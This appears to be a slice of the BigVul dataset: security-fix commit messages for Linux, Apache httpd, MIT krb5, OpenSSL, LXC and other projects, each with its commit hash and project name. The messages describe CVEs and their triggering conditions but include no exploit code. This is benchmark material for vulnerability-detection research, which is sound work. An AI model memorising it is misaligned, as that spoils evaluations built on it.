Signed-off-by: David S. Miller <davem@davemloft.net>

2d45a02d0166caf2627fe91897c6ffc3b19514c4

linux

bigvul

SECURITY: CVE-2015-3183 (cve.mitre.org) Replacement of ap_some_auth_required (unusable in Apache httpd 2.4) with new ap_some_authn_required and ap_force_authn hook. Submitted by: breser git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684524 13f79535-47bb-0310-9956-ffa450edef68

cd2b7a26c776b0754fb98426a67804fd48118708

httpd

bigvul

Limit accepted chunk-size to 2^63-1 and be strict about chunk-ext authorized characters. Submitted by: Yann Ylavic git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684513 13f79535-47bb-0310-9956-ffa450edef68

e427c41257957b57036d5a549b260b6185d1dd73

httpd

bigvul

vfs: Test for and handle paths that are unreachable from their mnt_root In rare cases a directory can be renamed out from under a bind mount. In those cases without special handling it becomes possible to walk up the directory tree to the root dentry of the filesystem and down from the root dentry to every other file or directory on the filesystem. Like division by zero .. from an unconnected path can not be given a useful semantic as there is no predicting at which path component the code will realize it is unconnected. We certainly can not match the current behavior as the current behavior is a security hole. Therefore when encounting .. when following an unconnected path return -ENOENT. - Add a function path_connected to verify path->dentry is reachable from path->mnt.mnt_root. AKA to validate that rename did not do something nasty to the bind mount. To avoid races path_connected must be called after following a path component to it's next path component. Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com> Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

397d425dc26da728396e66d392d5dcb8dac30c37

linux

bigvul

ipv6: Don't reduce hop limit for an interface A local route may have a lower hop_limit set than global routes do. RFC 3756, Section 4.2.7, "Parameter Spoofing" > 1. The attacker includes a Current Hop Limit of one or another small > number which the attacker knows will cause legitimate packets to > be dropped before they reach their destination. > As an example, one possible approach to mitigate this threat is to > ignore very small hop limits. The nodes could implement a > configurable minimum hop limit, and ignore attempts to set it below > said limit. Signed-off-by: D.S. Ljungmark <ljungmark@modio.se> Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

6fd99094de2b83d1d4c8457f2c83483b2828e75a

linux

bigvul

Fix memory overflow if the name of an environment is larger than 500 characters. Bug found by Adam Sampson.

bd20bb02e75e2c0483832b52f2577253febfb690

das_watchdog

bigvul

x86/asm/entry/64: Remove a bogus 'ret_from_fork' optimization 'ret_from_fork' checks TIF_IA32 to determine whether 'pt_regs' and the related state make sense for 'ret_from_sys_call'. This is entirely the wrong check. TS_COMPAT would make a little more sense, but there's really no point in keeping this optimization at all. This fixes a return to the wrong user CS if we came from int 0x80 in a 64-bit task. Signed-off-by: Andy Lutomirski <luto@amacapital.net> Cc: Borislav Petkov <bp@alien8.de> Cc: Denys Vlasenko <dvlasenk@redhat.com> Cc: H. Peter Anvin <hpa@zytor.com> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Oleg Nesterov <oleg@redhat.com> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: <stable@vger.kernel.org> Link: http://lkml.kernel.org/r/4710be56d76ef994ddf59087aad98c000fbab9a4.1424989793.git.luto@amacapital.net [ Backported from tip:x86/asm. ] Signed-off-by: Ingo Molnar <mingo@kernel.org>

956421fbb74c3a6261903f3836c0740187cf038b

linux

bigvul

Improve the message-splitting algorithm for PRIVMSG and CTCP This introduces a new message splitting algorithm based on QTextBoundaryFinder. It works by first starting with the entire message to be sent, encoding it, and checking to see if it is over the maximum message length. If it is, it uses QTBF to find the word boundary most immediately preceding the maximum length. If no suitable boundary can be found, it falls back to searching for grapheme boundaries. It repeats this process until the entire message has been sent. Unlike what it replaces, the new splitting code is not recursive and cannot cause stack overflows. Additionally, if it is unable to split a string, it will give up gracefully and not crash the core or cause a thread to run away. This patch fixes two bugs. The first is garbage characters caused by accidentally splitting the string in the middle of a multibyte character. Since the new code splits at a character level instead of a byte level, this will no longer be an issue. The second is the core crash caused by sending an overlength CTCP query ("/me") containing only multibyte characters. This bug was caused by the old CTCP splitter using the byte index from lastParamOverrun() as a character index for a QString.

b5e38970ffd55e2dd9f706ce75af9a8d7730b1b8

quassel

bigvul

Fix IAKERB context export/import [CVE-2015-2698] The patches for CVE-2015-2696 contained a regression in the newly added IAKERB iakerb_gss_export_sec_context() function, which could cause it to corrupt memory. Fix the regression by properly dereferencing the context_handle pointer before casting it. Also, the patches did not implement an IAKERB gss_import_sec_context() function, under the erroneous belief that an exported IAKERB context would be tagged as a krb5 context. Implement it now to allow IAKERB contexts to be successfully exported and imported after establishment. CVE-2015-2698: In any MIT krb5 release with the patches for CVE-2015-2696 applied, an application which calls gss_export_sec_context() may experience memory corruption if the context was established using the IAKERB mechanism. Historically, some vulnerabilities of this nature can be translated into remote code execution, though the necessary exploits must be tailored to the individual application and are usually quite complicated. CVSSv2 Vector: AV:N/AC:H/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C ticket: 8273 (new) target_version: 1.14 tags: pullup

3db8dfec1ef50ddd78d6ba9503185995876a39fd

krb5

bigvul

Fix build_principal memory bug [CVE-2015-2697] In build_principal_va(), use k5memdup0() instead of strdup() to make a copy of the realm, to ensure that we allocate the correct number of bytes and do not read past the end of the input string. This bug affects krb5_build_principal(), krb5_build_principal_va(), and krb5_build_principal_alloc_va(). krb5_build_principal_ext() is not affected. CVE-2015-2697: In MIT krb5 1.7 and later, an authenticated attacker may be able to cause a KDC to crash using a TGS request with a large realm field beginning with a null byte. If the KDC attempts to find a referral to answer the request, it constructs a principal name for lookup using krb5_build_principal() with the requested realm. Due to a bug in this function, the null byte causes only one byte be allocated for the realm field of the constructed principal, far less than its length. Subsequent operations on the lookup principal may cause a read beyond the end of the mapped memory region, causing the KDC process to crash. CVSSv2: AV:N/AC:L/Au:S/C:N/I:N/A:C/E:POC/RL:OF/RC:C ticket: 8252 (new) target_version: 1.14 tags: pullup

f0c094a1b745d91ef2f9a4eae2149aac026a5789

krb5

bigvul

Fix IAKERB context aliasing bugs [CVE-2015-2696] The IAKERB mechanism currently replaces its context handle with the krb5 mechanism handle upon establishment, under the assumption that most GSS functions are only called after context establishment. This assumption is incorrect, and can lead to aliasing violations for some programs. Maintain the IAKERB context structure after context establishment and add new IAKERB entry points to refer to it with that type. Add initiate and established flags to the IAKERB context structure for use in gss_inquire_context() prior to context establishment. CVE-2015-2696: In MIT krb5 1.9 and later, applications which call gss_inquire_context() on a partially-established IAKERB context can cause the GSS-API library to read from a pointer using the wrong type, generally causing a process crash. Java server applications using the native JGSS provider are vulnerable to this bug. A carefully crafted IAKERB packet might allow the gss_inquire_context() call to succeed with attacker-determined results, but applications should not make access control decisions based on gss_inquire_context() results prior to context establishment. CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C [ghudson@mit.edu: several bugfixes, style changes, and edge-case behavior changes; commit message and CVE description] ticket: 8244 target_version: 1.14 tags: pullup

e04f0283516e80d2f93366e0d479d13c9b5c8c2a

krb5

bigvul

Fix SPNEGO context aliasing bugs [CVE-2015-2695] The SPNEGO mechanism currently replaces its context handle with the mechanism context handle upon establishment, under the assumption that most GSS functions are only called after context establishment. This assumption is incorrect, and can lead to aliasing violations for some programs. Maintain the SPNEGO context structure after context establishment and refer to it in all GSS methods. Add initiate and opened flags to the SPNEGO context structure for use in gss_inquire_context() prior to context establishment. CVE-2015-2695: In MIT krb5 1.5 and later, applications which call gss_inquire_context() on a partially-established SPNEGO context can cause the GSS-API library to read from a pointer using the wrong type, generally causing a process crash. This bug may go unnoticed, because the most common SPNEGO authentication scenario establishes the context after just one call to gss_accept_sec_context(). Java server applications using the native JGSS provider are vulnerable to this bug. A carefully crafted SPNEGO packet might allow the gss_inquire_context() call to succeed with attacker-determined results, but applications should not make access control decisions based on gss_inquire_context() results prior to context establishment. CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C [ghudson@mit.edu: several bugfixes, style changes, and edge-case behavior changes; commit message and CVE description] ticket: 8244 target_version: 1.14 tags: pullup

b51b33f2bc5d1497ddf5bd107f791c101695000d

krb5

bigvul

Prevent requires_preauth bypass [CVE-2015-2694] In the OTP kdcpreauth module, don't set the TKT_FLG_PRE_AUTH bit until the request is successfully verified. In the PKINIT kdcpreauth module, don't respond with code 0 on empty input or an unconfigured realm. Together these bugs could cause the KDC preauth framework to erroneously treat a request as pre-authenticated. CVE-2015-2694: In MIT krb5 1.12 and later, when the KDC is configured with PKINIT support, an unauthenticated remote attacker can bypass the requires_preauth flag on a client principal and obtain a ciphertext encrypted in the principal's long-term key. This ciphertext could be used to conduct an off-line dictionary attack against the user's password. CVSSv2 Vector: AV:N/AC:M/Au:N/C:P/I:P/A:N/E:POC/RL:OF/RC:C ticket: 8160 (new) target_version: 1.13.2 tags: pullup subject: requires_preauth bypass in PKINIT-enabled KDC [CVE-2015-2694]

e3b5a5e5267818c97750b266df50b6a3d4649604

krb5

bigvul

x86/microcode/intel: Guard against stack overflow in the loader mc_saved_tmp is a static array allocated on the stack, we need to make sure mc_saved_count stays within its bounds, otherwise we're overflowing the stack in _save_mc(). A specially crafted microcode header could lead to a kernel crash or potentially kernel execution. Signed-off-by: Quentin Casasnovas <quentin.casasnovas@oracle.com> Cc: "H. Peter Anvin" <hpa@zytor.com> Cc: Fenghua Yu <fenghua.yu@intel.com> Link: http://lkml.kernel.org/r/1422964824-22056-1-git-send-email-quentin.casasnovas@oracle.com Signed-off-by: Borislav Petkov <bp@suse.de>

f84598bd7c851f8b0bf8cd0d7c3be0d73c432ff4

linux

bigvul

Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option This fixes a directory traversal in the cpio tool.

59357157706d47c365b2227739e17daba3607526

libarchive

bigvul

xen-pciback: limit guest control of command register Otherwise the guest can abuse that control to cause e.g. PCIe Unsupported Request responses by disabling memory and/or I/O decoding and subsequently causing (CPU side) accesses to the respective address ranges, which (depending on system configuration) may be fatal to the host. Note that to alter any of the bits collected together as PCI_COMMAND_GUEST permissive mode is now required to be enabled globally or on the specific device. This is CVE-2015-2150 / XSA-120. Signed-off-by: Jan Beulich <jbeulich@suse.com> Reviewed-by: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com> Cc: <stable@vger.kernel.org> Signed-off-by: David Vrabel <david.vrabel@citrix.com>

af6fc858a35b90e89ea7a7ee58e66628c55c776b

linux

bigvul

Fix for CVE-2015-2141. Thanks to Evgeny Sidorov for reporting. Squaring to satisfy Jacobi requirements suggested by JPM.

9425e16437439e68c7d96abef922167d68fafaff

cryptopp

bigvul

net: rds: use correct size for max unacked packets and bytes Max unacked packets/bytes is an int while sizeof(long) was used in the sysctl table. This means that when they were getting read we'd also leak kernel memory to userspace along with the timeout values. Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David S. Miller <davem@davemloft.net>

db27ebb111e9f69efece08e4cb6a34ff980f8896

linux

bigvul

net: llc: use correct size for sysctl timeout entries The timeout entries are sizeof(int) rather than sizeof(long), which means that when they were getting read we'd also leak kernel memory to userspace along with the timeout values. Signed-off-by: Sasha Levin <sasha.levin@oracle.com> Signed-off-by: David S. Miller <davem@davemloft.net>

6b8d9117ccb4f81b1244aafa7bc70ef8fa45fc49

linux

bigvul

Fix: acl: Do not delay evaluation of added nodes in some situations It is not appropriate when the node has no children as it is not a placeholder

84ac07c

pacemaker

bigvul

new helper: copy_page_from_iter() parallel to copy_page_to_iter(). pipe_write() switched to it (and became ->write_iter()). Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

f0d1bec9d58d4c038d0ac958c9af82be6eb18045

linux

bigvul

Canonicalise input in CMS_verify. If content is detached and not binary mode translate the input to CRLF format. Before this change the input was verified verbatim which lead to a discrepancy between sign and verify.

cd30f03ac5bf2962f44bd02ae8d88245dff2f12c

openssl

bigvul

Fix race condition in NewSessionTicket If a NewSessionTicket is received by a multi-threaded client when attempting to reuse a previous ticket then a race condition can occur potentially leading to a double free of the ticket data. CVE-2015-1791 This also fixes RT#3808 where a session ID is changed for a session already in the client session cache. Since the session ID is the key to the cache this breaks the cache access. Parts of this patch were inspired by this Akamai change: https://github.com/akamai/openssl/commit/c0bf69a791239ceec64509f9f19fcafb2461b0d3 Reviewed-by: Rich Salz <rsalz@openssl.org>

98ece4eebfb6cd45cc8d550c6ac0022965071afc

openssl

bigvul

PKCS#7: Fix NULL dereference with missing EncryptedContent. CVE-2015-1790 Reviewed-by: Rich Salz <rsalz@openssl.org>

59302b600e8d5b77ef144e447bb046fd7ab72686

openssl

bigvul

Fix length checks in X509_cmp_time to avoid out-of-bounds reads. Also tighten X509_cmp_time to reject more than three fractional seconds in the time; and to reject trailing garbage after the offset. CVE-2015-1789 Reviewed-by: Viktor Dukhovni <viktor@openssl.org> Reviewed-by: Richard Levitte <levitte@openssl.org>

f48b83b4fb7d6689584cf25f61ca63a4891f5b11

openssl

bigvul

bn/bn_gf2m.c: avoid infinite loop wich malformed ECParamters. CVE-2015-1788 Reviewed-by: Matt Caswell <matt@openssl.org>

4924b37ee01f71ae19c94a8934b80eeb2f677932

openssl

bigvul

x86, mm/ASLR: Fix stack randomization on 64-bit systems The issue is that the stack for processes is not properly randomized on 64 bit architectures due to an integer overflow. The affected function is randomize_stack_top() in file "fs/binfmt_elf.c": static unsigned long randomize_stack_top(unsigned long stack_top) { unsigned int random_variable = 0; if ((current->flags & PF_RANDOMIZE) && !(current->personality & ADDR_NO_RANDOMIZE)) { random_variable = get_random_int() & STACK_RND_MASK; random_variable <<= PAGE_SHIFT; } return PAGE_ALIGN(stack_top) + random_variable; return PAGE_ALIGN(stack_top) - random_variable; } Note that, it declares the "random_variable" variable as "unsigned int". Since the result of the shifting operation between STACK_RND_MASK (which is 0x3fffff on x86_64, 22 bits) and PAGE_SHIFT (which is 12 on x86_64): random_variable <<= PAGE_SHIFT; then the two leftmost bits are dropped when storing the result in the "random_variable". This variable shall be at least 34 bits long to hold the (22+12) result. These two dropped bits have an impact on the entropy of process stack. Concretely, the total stack entropy is reduced by four: from 2^28 to 2^30 (One fourth of expected entropy). This patch restores back the entropy by correcting the types involved in the operations in the functions randomize_stack_top() and stack_maxrandom_size(). The successful fix can be tested with: $ for i in `seq 1 10`; do cat /proc/self/maps | grep stack; done 7ffeda566000-7ffeda587000 rw-p 00000000 00:00 0 [stack] 7fff5a332000-7fff5a353000 rw-p 00000000 00:00 0 [stack] 7ffcdb7a1000-7ffcdb7c2000 rw-p 00000000 00:00 0 [stack] 7ffd5e2c4000-7ffd5e2e5000 rw-p 00000000 00:00 0 [stack] ... Once corrected, the leading bytes should be between 7ffc and 7fff, rather than always being 7fff. Signed-off-by: Hector Marco-Gisbert <hecmargi@upv.es> Signed-off-by: Ismael Ripoll <iripoll@upv.es> [ Rebased, fixed 80 char bugs, cleaned up commit message, added test example and CVE ] Signed-off-by: Kees Cook <keescook@chromium.org> Cc: <stable@vger.kernel.org> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Al Viro <viro@zeniv.linux.org.uk> Fixes: CVE-2015-1593 Link: http://lkml.kernel.org/r/20150214173350.GA18393@www.outflux.net Signed-off-by: Borislav Petkov <bp@suse.de>

4e7c22d447bb6d7e37bfe39ff658486ae78e8d77

linux

bigvul

ipv4: try to cache dst_entries which would cause a redirect Not caching dst_entries which cause redirects could be exploited by hosts on the same subnet, causing a severe DoS attack. This effect aggravated since commit f88649721268999 ("ipv4: fix dst race in sk_dst_get()"). Lookups causing redirects will be allocated with DST_NOCACHE set which will force dst_release to free them via RCU. Unfortunately waiting for RCU grace period just takes too long, we can end up with >1M dst_entries waiting to be released and the system will run OOM. rcuos threads cannot catch up under high softirq load. Attaching the flag to emit a redirect later on to the specific skb allows us to cache those dst_entries thus reducing the pressure on allocation and deallocation. This issue was discovered by Marcelo Leitner. Cc: Julian Anastasov <ja@ssi.bg> Signed-off-by: Marcelo Leitner <mleitner@redhat.com> Signed-off-by: Florian Westphal <fw@strlen.de> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: Julian Anastasov <ja@ssi.bg> Signed-off-by: David S. Miller <davem@davemloft.net>

df4d92549f23e1c037e83323aff58a21b3de7fe0

linux

bigvul

net: sctp: fix slab corruption from use after free on INIT collisions When hitting an INIT collision case during the 4WHS with AUTH enabled, as already described in detail in commit 1be9a950c646 ("net: sctp: inherit auth_capable on INIT collisions"), it can happen that we occasionally still remotely trigger the following panic on server side which seems to have been uncovered after the fix from commit 1be9a950c646 ... [ 533.876389] BUG: unable to handle kernel paging request at 00000000ffffffff [ 533.913657] IP: [<ffffffff811ac385>] __kmalloc+0x95/0x230 [ 533.940559] PGD 5030f2067 PUD 0 [ 533.957104] Oops: 0000 [#1] SMP [ 533.974283] Modules linked in: sctp mlx4_en [...] [ 534.939704] Call Trace: [ 534.951833] [<ffffffff81294e30>] ? crypto_init_shash_ops+0x60/0xf0 [ 534.984213] [<ffffffff81294e30>] crypto_init_shash_ops+0x60/0xf0 [ 535.015025] [<ffffffff8128c8ed>] __crypto_alloc_tfm+0x6d/0x170 [ 535.045661] [<ffffffff8128d12c>] crypto_alloc_base+0x4c/0xb0 [ 535.074593] [<ffffffff8160bd42>] ? _raw_spin_lock_bh+0x12/0x50 [ 535.105239] [<ffffffffa0418c11>] sctp_inet_listen+0x161/0x1e0 [sctp] [ 535.138606] [<ffffffff814e43bd>] SyS_listen+0x9d/0xb0 [ 535.166848] [<ffffffff816149a9>] system_call_fastpath+0x16/0x1b ... or depending on the the application, for example this one: [ 1370.026490] BUG: unable to handle kernel paging request at 00000000ffffffff [ 1370.026506] IP: [<ffffffff811ab455>] kmem_cache_alloc+0x75/0x1d0 [ 1370.054568] PGD 633c94067 PUD 0 [ 1370.070446] Oops: 0000 [#1] SMP [ 1370.085010] Modules linked in: sctp kvm_amd kvm [...] [ 1370.963431] Call Trace: [ 1370.974632] [<ffffffff8120f7cf>] ? SyS_epoll_ctl+0x53f/0x960 [ 1371.000863] [<ffffffff8120f7cf>] SyS_epoll_ctl+0x53f/0x960 [ 1371.027154] [<ffffffff812100d3>] ? anon_inode_getfile+0xd3/0x170 [ 1371.054679] [<ffffffff811e3d67>] ? __alloc_fd+0xa7/0x130 [ 1371.080183] [<ffffffff816149a9>] system_call_fastpath+0x16/0x1b With slab debugging enabled, we can see that the poison has been overwritten: [ 669.826368] BUG kmalloc-128 (Tainted: G W ): Poison overwritten [ 669.826385] INFO: 0xffff880228b32e50-0xffff880228b32e50. First byte 0x6a instead of 0x6b [ 669.826414] INFO: Allocated in sctp_auth_create_key+0x23/0x50 [sctp] age=3 cpu=0 pid=18494 [ 669.826424] __slab_alloc+0x4bf/0x566 [ 669.826433] __kmalloc+0x280/0x310 [ 669.826453] sctp_auth_create_key+0x23/0x50 [sctp] [ 669.826471] sctp_auth_asoc_create_secret+0xcb/0x1e0 [sctp] [ 669.826488] sctp_auth_asoc_init_active_key+0x68/0xa0 [sctp] [ 669.826505] sctp_do_sm+0x29d/0x17c0 [sctp] [...] [ 669.826629] INFO: Freed in kzfree+0x31/0x40 age=1 cpu=0 pid=18494 [ 669.826635] __slab_free+0x39/0x2a8 [ 669.826643] kfree+0x1d6/0x230 [ 669.826650] kzfree+0x31/0x40 [ 669.826666] sctp_auth_key_put+0x19/0x20 [sctp] [ 669.826681] sctp_assoc_update+0x1ee/0x2d0 [sctp] [ 669.826695] sctp_do_sm+0x674/0x17c0 [sctp] Since this only triggers in some collision-cases with AUTH, the problem at heart is that sctp_auth_key_put() on asoc->asoc_shared_key is called twice when having refcnt 1, once directly in sctp_assoc_update() and yet again from within sctp_auth_asoc_init_active_key() via sctp_assoc_update() on the already kzfree'd memory, which is also consistent with the observation of the poison decrease from 0x6b to 0x6a (note: the overwrite is detected at a later point in time when poison is checked on new allocation). Reference counting of auth keys revisited: Shared keys for AUTH chunks are being stored in endpoints and associations in endpoint_shared_keys list. On endpoint creation, a null key is being added; on association creation, all endpoint shared keys are being cached and thus cloned over to the association. struct sctp_shared_key only holds a pointer to the actual key bytes, that is, struct sctp_auth_bytes which keeps track of users internally through refcounting. Naturally, on assoc or enpoint destruction, sctp_shared_key are being destroyed directly and the reference on sctp_auth_bytes dropped. User space can add keys to either list via setsockopt(2) through struct sctp_authkey and by passing that to sctp_auth_set_key() which replaces or adds a new auth key. There, sctp_auth_create_key() creates a new sctp_auth_bytes with refcount 1 and in case of replacement drops the reference on the old sctp_auth_bytes. A key can be set active from user space through setsockopt() on the id via sctp_auth_set_active_key(), which iterates through either endpoint_shared_keys and in case of an assoc, invokes (one of various places) sctp_auth_asoc_init_active_key(). sctp_auth_asoc_init_active_key() computes the actual secret from local's and peer's random, hmac and shared key parameters and returns a new key directly as sctp_auth_bytes, that is asoc->asoc_shared_key, plus drops the reference if there was a previous one. The secret, which where we eventually double drop the ref comes from sctp_auth_asoc_set_secret() with intitial refcount of 1, which also stays unchanged eventually in sctp_assoc_update(). This key is later being used for crypto layer to set the key for the hash in crypto_hash_setkey() from sctp_auth_calculate_hmac(). To close the loop: asoc->asoc_shared_key is freshly allocated secret material and independant of the sctp_shared_key management keeping track of only shared keys in endpoints and assocs. Hence, also commit 4184b2a79a76 ("net: sctp: fix memory leak in auth key management") is independant of this bug here since it concerns a different layer (though same structures being used eventually). asoc->asoc_shared_key is reference dropped correctly on assoc destruction in sctp_association_free() and when active keys are being replaced in sctp_auth_asoc_init_active_key(), it always has a refcount of 1. Hence, it's freed prematurely in sctp_assoc_update(). Simple fix is to remove that sctp_auth_key_put() from there which fixes these panics. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Acked-by: Vlad Yasevich <vyasevich@gmail.com> Acked-by: Neil Horman <nhorman@tuxdriver.com> Signed-off-by: David S. Miller <davem@davemloft.net>

600ddd6825543962fb807884169e57b580dba208

linux

bigvul

Implement privilege check when moving tasks When writing pids to a tasks file in lxcfs, lxcfs was checking for privilege over the tasks file but not over the pid being moved. Since the cgm_movepid request is done as root on the host, not with the requestor's credentials, we must copy the check which cgmanager was doing to ensure that the requesting task is allowed to change the victim task's cgroup membership. This is CVE-2015-1344 https://bugs.launchpad.net/ubuntu/+source/lxcfs/+bug/1512854 Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>

8ee2a503e102b1a43ec4d83113dc275ab20a869a

lxcfs

bigvul

Fix checking of parent directories Taken from the justification in the launchpad bug: To a task in freezer cgroup /a/b/c/d, it should appear that there are no cgroups other than its descendents. Since this is a filesystem, we must have the parent directories, but each parent cgroup should only contain the child which the task can see. So, when this task looks at /a/b, it should see only directory 'c' and no files. Attempt to create /a/b/x should result in -EPERM, whether /a/b/x already exists or not. Attempts to query /a/b/x should result in -ENOENT whether /a/b/x exists or not. Opening /a/b/tasks should result in -ENOENT. The caller_may_see_dir checks specifically whether a task may see a cgroup directory - i.e. /a/b/x if opening /a/b/x/tasks, and /a/b/c/d if doing opendir('/a/b/c/d'). caller_is_in_ancestor() will return true if the caller in /a/b/c/d looks at /a/b/c/d/e. If the caller is in a child cgroup of the queried one - i.e. if the task in /a/b/c/d queries /a/b, then *nextcg will container the next (the only) directory which he can see in the path - 'c'. Beyond this, regular DAC permissions should apply, with the root-in-user-namespace privilege over its mapped uids being respected. The fc_may_access check does this check for both directories and files. This is CVE-2015-1342 (LP: #1508481) Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>

a8b6c3e0537e90fba3c55910fd1b7229d54a60a7

lxcfs

bigvul

CVE-2015-1335: Protect container mounts against symlinks When a container starts up, lxc sets up the container's inital fstree by doing a bunch of mounting, guided by the container configuration file. The container config is owned by the admin or user on the host, so we do not try to guard against bad entries. However, since the mount target is in the container, it's possible that the container admin could divert the mount with symbolic links. This could bypass proper container startup (i.e. confinement of a root-owned container by the restrictive apparmor policy, by diverting the required write to /proc/self/attr/current), or bypass the (path-based) apparmor policy by diverting, say, /proc to /mnt in the container. To prevent this, 1. do not allow mounts to paths containing symbolic links 2. do not allow bind mounts from relative paths containing symbolic links. Details: Define safe_mount which ensures that the container has not inserted any symbolic links into any mount targets for mounts to be done during container setup. The host's mount path may contain symbolic links. As it is under the control of the administrator, that's ok. So safe_mount begins the check for symbolic links after the rootfs->mount, by opening that directory. It opens each directory along the path using openat() relative to the parent directory using O_NOFOLLOW. When the target is reached, it mounts onto /proc/self/fd/<targetfd>. Use safe_mount() in mount_entry(), when mounting container proc, and when needed. In particular, safe_mount() need not be used in any case where: 1. the mount is done in the container's namespace 2. the mount is for the container's rootfs 3. the mount is relative to a tmpfs or proc/sysfs which we have just safe_mount()ed ourselves Since we were using proc/net as a temporary placeholder for /proc/sys/net during container startup, and proc/net is a symbolic link, use proc/tty instead. Update the lxc.container.conf manpage with details about the new restrictions. Finally, add a testcase to test some symbolic link possibilities. Reported-by: Roman Fiedler Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com> Acked-by: Stéphane Graber <stgraber@ubuntu.com>

592fd47a6245508b79fe6ac819fe6d3b2c1289be

lxc

bigvul

CVE-2015-1334: Don't use the container's /proc during attach A user could otherwise over-mount /proc and prevent the apparmor profile or selinux label from being written which combined with a modified /bin/sh or other commonly used binary would lead to unconfined code execution. Reported-by: Roman Fiedler Signed-off-by: Stéphane Graber <stgraber@ubuntu.com>

5c3fcae78b63ac9dd56e36075903921bd9461f9e

lxc

bigvul

KEYS: ensure we free the assoc array edit if edit is valid __key_link_end is not freeing the associated array edit structure and this leads to a 512 byte memory leak each time an identical existing key is added with add_key(). The reason the add_key() system call returns okay is that key_create_or_update() calls __key_link_begin() before checking to see whether it can update a key directly rather than adding/replacing - which it turns out it can. Thus __key_link() is not called through __key_instantiate_and_link() and __key_link_end() must cancel the edit. CVE-2015-1333 Signed-off-by: Colin Ian King <colin.king@canonical.com> Signed-off-by: David Howells <dhowells@redhat.com> Signed-off-by: James Morris <james.l.morris@oracle.com>

ca4da5dd1f99fe9c59f1709fb43e818b18ad20e0

linux

bigvul

CVE-2015-1331: lxclock: use /run/lxc/lock rather than /run/lock/lxc This prevents an unprivileged user to use LXC to create arbitrary file on the filesystem. Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com> Signed-off-by: Tyler Hicks <tyhicks@canonical.com> Acked-by: Stéphane Graber <stgraber@ubuntu.com>

72cf81f6a3404e35028567db2c99a90406e9c6e6

lxc

bigvul

When decompressing with -N or -NT, strip any path from header name. This uses the path of the compressed file combined with the name from the header as the name of the decompressed output file. Any path information in the header name is stripped. This avoids a possible vulnerability where absolute or descending paths are put in the gzip header.

fdad1406b3ec809f4954ff7cdf9e99eb18c2458f

pigz

bigvul

Disable greeters from loading KDE's debug hander Some themes may use KDE components which will automatically load KDE's crash handler. If the greeter were to then somehow crash, that would leave a crash handler allowing other actions, albeit as the locked down SDDM user. Only SDDM users using the breeze theme from plasma-workspace are affected. Safest and simplest fix is to handle this inside SDDM disabling kcrash via an environment variable for all future themes that may use these libraries. CVE-2015-0856

4cfed6b0a625593fb43876f04badc4dd99799d86

sddm

bigvul

[ots] Fix (potential) use-after-free bugs Make sure we don’t try to access the table after deleting it. Not all the changed files are affected, but I changed them all for the sake of consistency.

003c62d28ae438aa8943cb31535563397f838a2c

ots

bigvul

unix: call setgoups before calling setuid/setgid Partial fix for #1093

66ab38918c911bcff025562cf06237d7fedaba0c

libuv

bigvul

ext4: allocate entire range in zero range Currently there is a bug in zero range code which causes zero range calls to only allocate block aligned portion of the range, while ignoring the rest in some cases. In some cases, namely if the end of the range is past i_size, we do attempt to preallocate the last nonaligned block. However this might cause kernel to BUG() in some carefully designed zero range requests on setups where page size > block size. Fix this problem by first preallocating the entire range, including the nonaligned edges and converting the written extents to unwritten in the next step. This approach will also give us the advantage of having the range to be as linearly contiguous as possible. Signed-off-by: Lukas Czerner <lczerner@redhat.com> Signed-off-by: Theodore Ts'o <tytso@mit.edu>

0f2af21aae11972fa924374ddcf52e88347cf5a8

linux

bigvul

xfs: remote attribute overwrite causes transaction overrun Commit e461fcb ("xfs: remote attribute lookups require the value length") passes the remote attribute length in the xfs_da_args structure on lookup so that CRC calculations and validity checking can be performed correctly by related code. This, unfortunately has the side effect of changing the args->valuelen parameter in cases where it shouldn't. That is, when we replace a remote attribute, the incoming replacement stores the value and length in args->value and args->valuelen, but then the lookup which finds the existing remote attribute overwrites args->valuelen with the length of the remote attribute being replaced. Hence when we go to create the new attribute, we create it of the size of the existing remote attribute, not the size it is supposed to be. When the new attribute is much smaller than the old attribute, this results in a transaction overrun and an ASSERT() failure on a debug kernel: XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331 Fix this by keeping the remote attribute value length separate to the attribute value length in the xfs_da_args structure. The enables us to pass the length of the remote attribute to be removed without overwriting the new attribute's length. Also, ensure that when we save remote block contexts for a later rename we zero the original state variables so that we don't confuse the state of the attribute to be removes with the state of the new attribute that we just added. [Spotted by Brain Foster.] Signed-off-by: Dave Chinner <dchinner@redhat.com> Reviewed-by: Brian Foster <bfoster@redhat.com> Signed-off-by: Dave Chinner <david@fromorbit.com>

8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59

linux

bigvul

*) SECURITY: CVE-2015-0253 (cve.mitre.org) core: Fix a crash introduced in with ErrorDocument 400 pointing to a local URL-path with the INCLUDES filter active, introduced in 2.4.11. PR 57531. [Yann Ylavic] Submitted By: ylavic Committed By: covener git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1664205 13f79535-47bb-0310-9956-ffa450edef68

6a974059190b8a0c7e499f4ab12fe108127099cb

httpd

bigvul

